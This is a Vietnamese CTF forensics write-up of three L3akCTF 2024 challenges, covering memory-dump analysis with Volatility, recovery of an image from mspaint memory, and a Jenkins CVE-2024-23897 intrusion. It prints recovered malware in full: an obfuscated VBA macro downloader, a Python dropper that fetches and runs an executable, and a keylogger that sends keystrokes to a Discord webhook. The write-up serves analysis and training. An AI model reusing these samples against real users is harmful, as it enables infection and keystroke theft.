---
# System prepended metadata

title: L3akCTF-2024
tags: ['@write-up']

---

# The Spy
![Screenshot 2024-05-26 205009](https://hackmd.io/_uploads/BkmY02g4R.png)
**Từ lúc mới bắt đầu chơi CTF đến nay thì đây là challenge đầu tiên mà mình first blood nên mình muốn lưu giữ lại dòng viết này để làm kỹ niệm(như một cột móc đáng nhớ trên đường đua CTF)**
![Screenshot 2024-05-27 124039](https://hackmd.io/_uploads/Sk3zTcZ4R.png)
![Screenshot 2024-05-27 124212](https://hackmd.io/_uploads/rJLHacZNA.png)


**Giải pháp:**
* Thử thách cho mình 1 file memory nên mình sẽ dùng tool volitality để phân tích kết xuất bộ nhớ:
  - Plugin luôn dùng đầu tiên để check là `pstree`:
  - ![Screenshot 2024-05-26 210256](https://hackmd.io/_uploads/H1lQ-pg4A.png)
  - Theo như mô tả của đề bài thì dữ liệu của victim bị rò rỉ và có nguy cơ đã bị đánh cắp => mình sẽ tập trung vào các tiến trình của người dùng.
  - Thấy khá nhiều tiến trình **chrome** nên ý tưởng mình sẽ dùng grep `history` rồi dump về xem lịch sử trình duyệt web victim:
  - ![Screenshot 2024-05-26 211938](https://hackmd.io/_uploads/By3QH6gVA.png)
  - Sau khi dump về mình dùng lệnh strings để xem các trình duyệt mà victim đã mở thì thấy 1 đường dẫn với lại có 1 tiến trình khả nghi nữa là **soffice.exe** => khả năng cao file word(.doc) có vấn đề.
  - ![Screenshot 2024-05-26 212150](https://hackmd.io/_uploads/SyMcSpx4R.png)
  - Victim đã tải file này về từ sever của attacker, mình sẽ dùng `filescan` để tìm và dùng plugin `dumpfile` để lấy file về phân tích:
  - ![Screenshot 2024-05-26 212634](https://hackmd.io/_uploads/rJe3I6eVA.png)

* Đối với những file word(.doc) thì khả năng cao dính mã độc macro nên mình sẽ dùng `olevba` để phân tích:
```vb=1
Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _
    ByVal b1BbQ As LongPtr, _
    ByVal c1CcQ As String, _
    ByVal d1DdQ As String, _
    ByVal e1EeQ As Long, _
    ByVal f1FfQ As LongPtr) As Long

Public Function b1BbR(c1CcR As String) As String
    Dim d1DdR As Integer
    Dim e1EeR As Integer
    Dim f1FfR As String
    
    If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function
    
    d1DdR = Len(c1CcR)
    
    For e1EeR = 1 To Len(c1CcR)
        If e1EeR Mod 2 <> 0 Then
            f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2)))
        End If
    Next
    
    b1BbR = f1FfR
End Function

Sub c1CcS()
    Dim d1DdS As String
    Dim e1EeS As String
    Dim f1FfS As String
    Dim g1GgS As String
    Dim h1HhS As Long
    Dim username As String
    
    username = Environ("USERNAME")
    d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"
    
    e1EeS = j2JjS(d1DdS)
    
    f1FfS = b1BbR(e1EeS)
    
    g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py"
    
    h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0)
    
    If h1HhS = 0 Then
        MsgBox "File downloaded successfully.", vbInformation
        ' Run the Python script
        RunPython
    Else
        MsgBox "Failed to download file.", vbExclamation
    End If
End Sub

Function j2JjS(k2KkS As String) As String
    Dim l2LlS As String
    Dim m2MmS As Integer
    For m2MmS = 1 To Len(k2KkS)
        Select Case Asc(Mid(k2KkS, m2MmS, 1))
            Case 65 To 77, 97 To 109
                l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13)
            Case 78 To 90, 110 To 122
                l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13)
            Case Else
                l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1)
        End Select
    Next m2MmS
    j2JjS = l2LlS
End Function

Sub RunPython()
    Dim PythonExe As String
    Dim PythonScript As String
    Dim Command As String
    Dim username As String
    
    username = Environ("USERNAME")
    
    PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe"
    PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py"
    Command = PythonExe & " " & PythonScript
    
    Shell Command, vbNormalFocus
End Sub
```
* Phân tích :
  - Hàm `Sub c1CcS()` đầu tiên mã hóa ROT13 chuỗi của biến `d1DdS`, sau đó là giải mã hex thành url và tiến hành dowloads file `pp.py` xuống đường dẫn này `C:\Users\" & username & "\AppData\Local\pp.py`
  - Hàm `Sub RunPython()` có chức năng là chạy `pp.py`.
* Bây giờ có 2 cách 1 là code, 2 là bỏ lên cyberchef làm cho nhanh:
  - Mình sẽ ưu tiên cách làm nhanh nha:
  - ![Screenshot 2024-05-27 130310](https://hackmd.io/_uploads/BJl4foZEC.png)
  - https://drive.google.com/file/d/1vEsAKDf71dwc3bgBor282kLTasbl33HS/view?usp=sharing

* Vào đường dẫn tải file về phân tích tiếp:
```python=1
import os
import requests

def download_file_from_google_drive(file_id, destination):
    URL = "https://docs.google.com/uc?export=download"

    session = requests.Session()

    response = session.get(URL, params={'id': file_id}, stream=True)
    token = get_confirm_token(response)

    if token:
        params = {'id': file_id, 'confirm': token}
        response = session.get(URL, params=params, stream=True)

    save_response_content(response, destination)

def get_confirm_token(response):
    for key, value in response.cookies.items():
        if key.startswith('download_warning'):
            return value
    return None

def save_response_content(response, destination):
    CHUNK_SIZE = 32768

    with open(destination, "wb") as f:
        for chunk in response.iter_content(CHUNK_SIZE):
            if chunk:
                f.write(chunk)

def hex_to_binary(hex_str):
    return bytes.fromhex(hex_str)

def save_binary_to_file(binary_data, file_path):
    with open(file_path, 'wb') as file:
        file.write(binary_data)

def reverse_hex_conversion(file_path, output_file):
    with open(file_path, 'r') as file:
        hex_content = file.read().strip()
    binary_data = hex_to_binary(hex_content)
    save_binary_to_file(binary_data, output_file)

def run_retrieved_file(file_path):
    os.system(file_path)

if __name__ == "__main__":
    # Download the file and save it as file_hex.txt
    file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0" #1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt
    input_file = "file_hex.txt"
    download_file_from_google_drive(file_id, input_file)
    
    # Convert hex to binary and save it as L3AK.exe
    output_file = "L3AK.exe"  
    reverse_hex_conversion(input_file, output_file)
    
    # Execute the retrieved file
    run_retrieved_file(output_file)
    
    print("File retrieved and executed as L3AK.exe")
```
Nhìn thì thấy hơi dài nhưng đại khá là đang drop xuống 1 file L3AK.exe rồi chạy file thực thi đó, mình sẽ sửa lại xíu code để lấy file thực thi này về:
```python=1
import os
import requests

def download_file_from_google_drive(file_id, destination):
    URL = "https://docs.google.com/uc?export=download"

    session = requests.Session()

    response = session.get(URL, params={'id': file_id}, stream=True)
    token = get_confirm_token(response)

    if token:
        params = {'id': file_id, 'confirm': token}
        response = session.get(URL, params=params, stream=True)

    save_response_content(response, destination)


def get_confirm_token(response):
    for key, value in response.cookies.items():
        if key.startswith('download_warning'):
            return value
    return None


def save_response_content(response, destination):
    CHUNK_SIZE = 32768

    with open(destination, "wb") as f:
        for chunk in response.iter_content(CHUNK_SIZE):
            if chunk:
                f.write(chunk)


def hex_to_binary(hex_str):
    return bytes.fromhex(hex_str)


def save_binary_to_file(binary_data, file_path):
    with open(file_path, 'wb') as file:
        file.write(binary_data)


def reverse_hex_conversion(file_path, output_file):
    with open(file_path, 'r') as file:
        hex_content = file.read().strip()
    binary_data = hex_to_binary(hex_content)
    save_binary_to_file(binary_data, output_file)


if __name__ == "__main__":
    # Tải file và lưu nó thành file_hex.txt
    file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
    input_file = "file_hex.txt"
    download_file_from_google_drive(file_id, input_file)
    output_file = "L3AK.exe"  
    reverse_hex_conversion(input_file, output_file)
```
* Sau khi chạy và lấy file `L3AK.exe` thành công thì mình dùng virustotal để xem 1 số thông tin về file này:
![Screenshot 2024-05-27 133121](https://hackmd.io/_uploads/rke0OiWV0.png)
* File mã độc này được đóng gói bằng PyInstaller => mình sẽ dùng tool `pyinstxtractor.py` để xuất file `.pyc` ra thôi
![Screenshot 2024-05-27 133505](https://hackmd.io/_uploads/rkaiKjbNA.png)
Có thể thấy trên ảnh file này được viết bằng version 3.12 nên là mấy tool phổ biến hay dùng không thể decompile được
* Sau 1 hồi tìm kiếm thì có mình thấy được 1 tool [này](https://pylingual.io/) decompile dành cho file version 3.12 :
```python=1
from pynput.keyboard import Listener, Key
from threading import Timer
from dhooks import Webhook
WEBHOOK_URL = 'https://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl'
INTERVAL = 30
hjlkhas = 'aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM='

class Keylogger:
    
    def __init__(self, WB_URL, interval = (30,)):
        self.WB_URL = WB_URL
        self.interval = interval
        self.log = ''
        self.special_keys = {
            Key.esc: '[ESC]',
            Key.backspace: '[BACKSPACE]',
            Key.tab: '\t',
            Key.enter: '\n',
            Key.space: ' ' }
        self.current_keys = set()

    def _send_info(self, log):
        if log != '':
            webhook = Webhook(self.WB_URL)
            webhook.send(log)
            return None

    def _key_down(self, key):
        pass
    # WARNING: Decompyle incomplete

    def _key_up(self, key):
        if key in self.current_keys:
            self.current_keys.remove(key)
            return None

    def _report(self):
        self._send_info(self.log)
        self.log = ''
        Timer(self.interval, self._report).start()

    def run(self):
        self._report()
    # WARNING: Decompyle incomplete

if __name__ == '__main__':
    Keylogger(WEBHOOK_URL, INTERVAL).run()
    return None
```
Ban đầu thì mình nghĩ là phải phân tích code mã độc keylogger này để lấy flag
* Nhưng mà để ý 1 xíu thấy biến `hjlkhas` chứa đoạn base64 khả nghi nên mình lấy decode thì kết quả được 1 đường link discord dẫn đến flag =))
![Screenshot 2024-05-27 134715](https://hackmd.io/_uploads/HyAF2ibVC.png)
https://discord.gg/pswTtUnpJC: tiến hành vào link này và lấy flag thôi.

**Flag:** `L3AK{D1sc0rd_WebH00ks_4re_C001}`

# Pixelated
![Screenshot 2024-05-28 131816](https://hackmd.io/_uploads/rySE5lQNR.png)
**Giải pháp:**
* Tiếp tục bài này cũng đi phân tích kết xuất bộ nhớ.
* Như thường lệ dùng plugin `pstree`, nhưng có khá nhiều tiến trình (phần lớn là tiến trình của hệ thống) mà bài này không đề cập gì nhiều nên mình sẽ tiến tục đi phân tích tiến trình người dùng:
![Screenshot 2024-05-28 133845](https://hackmd.io/_uploads/HyC-2gQNC.png)
Nhìn vào thì có 2 tiến trình khả nghi là msedge.exe và mspaint.exe
* Đối với msedge.exe thì sẽ liên quan đến lịch sử trình duyệt nên mình đã dump thì về nhưng thấy rằng lịch sử đã bị xóa sạch rồi
![Screenshot 2024-05-28 134914](https://hackmd.io/_uploads/S1lKAxmVA.png)
* Giờ chỉ còn lại là tiến trình mspaint.exe thôi, mình sẽ dùng plugin `memmap` dump tiến trình này về : `python3 vol.py -f memory.raw windows.memmap --dump --pid 5580` tiến hành đổi phần mở rộng lại từ .dmp thành .data rồi dùng tool gimp để xử lí:
* ![Screenshot 2024-05-28 140231](https://hackmd.io/_uploads/S1Yqbbm40.png)
Kết quả sau 1 hồi mò mẩm chỉnh thì cũng có được flag

**Flag:** `L3AK{p1x3l_p3rFect!}`


# Impostor
![Screenshot 2024-05-28 160532](https://hackmd.io/_uploads/H1LFCMmNA.png)
**Giải pháp:**
* Thử thách này cung cấp cho chúng ta 1 file auth.log và 1 file .pcap
* Theo như mình tìm hiểu thì đây là thử thách mô phỏng lại attacker lợi dụng lỗ hổng [CVE-2024-23897](https://www.jenkins.io/security/advisory/2024-01-24/) sử dụng  jenkins-cli để thực hiện RCE attack
* Gần luồng giao thức `TCP` thì bên dưới có giao thức `WebSocket` hiểu đơn giản giao thức này cho phép truyền tín hiệu qua lại 2 chiều thông qua cổng `http(s)`
![Screenshot 2024-05-29 103328](https://hackmd.io/_uploads/HyhfM7EEC.png)
* Phân tích xem giao thức websocket thấy attacker đang lấy 1 số thông tin như `etc/passwd`, `/var/lib/jenkins/secrets/master.key`,  /var/lib/jenkins/credentials.xml và cuối stream có chứa 1 phần flag: `1s_0n_3dg`
![Screenshot 2024-05-29 103542](https://hackmd.io/_uploads/SJ1oz7VNA.png)
* Khi khi kết thúc 4 luồng giao thức `WebSocket` thì attacker đang thực hiện chuẩn bị và tiến hành kết nối với victim bằng giao thức `ssh` => ta sẽ đi phân tích file auth.log xem hành vi: 
* Hành vi dưới attacker đang thực hiện bruteforce với user là `sparkle` từ ip `192.168.222.151` thông qua giao thức `ssh2`
![Screenshot 2024-05-29 105615](https://hackmd.io/_uploads/Bk0PvmNEA.png)
* Sau khi bruteforce thành công và thực hiện `ssh` vào máy victim giành quyền truy cập thì attacker đã tải xuống máy victim các file độc hại như `data.bin` từ sever attacker bằng tool `jenkins-cli` và dường như đã mã hóa base64 nội dung file `/var/lib/jenkins/secrets/hudson.util.Secret` 
![Screenshot 2024-05-29 110106](https://hackmd.io/_uploads/H1c1t744R.png)
* Tiếp theo mình sẽ decode nội dung file data.bin, biết rằng file được mã hóa với base58 `COMMAND=/usr/bin/base58 -d data.bin`
![Screenshot 2024-05-29 110915](https://hackmd.io/_uploads/S1Mt974V0.png)
Hành vi file bash(.sh) đang thực hiện kỹ thuật `Persistence` thực hiện chế độ lập lịch thông qua `crontab`
* Ta sẽ decode đoạn base64 biến `job_name` có thêm 1 phần flag: `E_30d84d801b2947f1bd2faae4fdcbb926}`
* Nhiệm vụ cuối cùng là làm sao giải mã đoạn file `hudson.util.Secret` để lấy phần cuối cùng của flag, nội dung file `hudson.util.Secret`:
![Screenshot 2024-05-29 112411](https://hackmd.io/_uploads/SkfXRQEVA.png)
 
 
 
 
 
 
 
 
 
 
 
 
 
 **ĐỌC THÊM:** https://github.com/L3AK-TEAM/L3akCTF-2024-public/blob/main/forensics/Do-It-Dynamically/solution/Do%20It%20Dynamically%20Walkthrough.pdf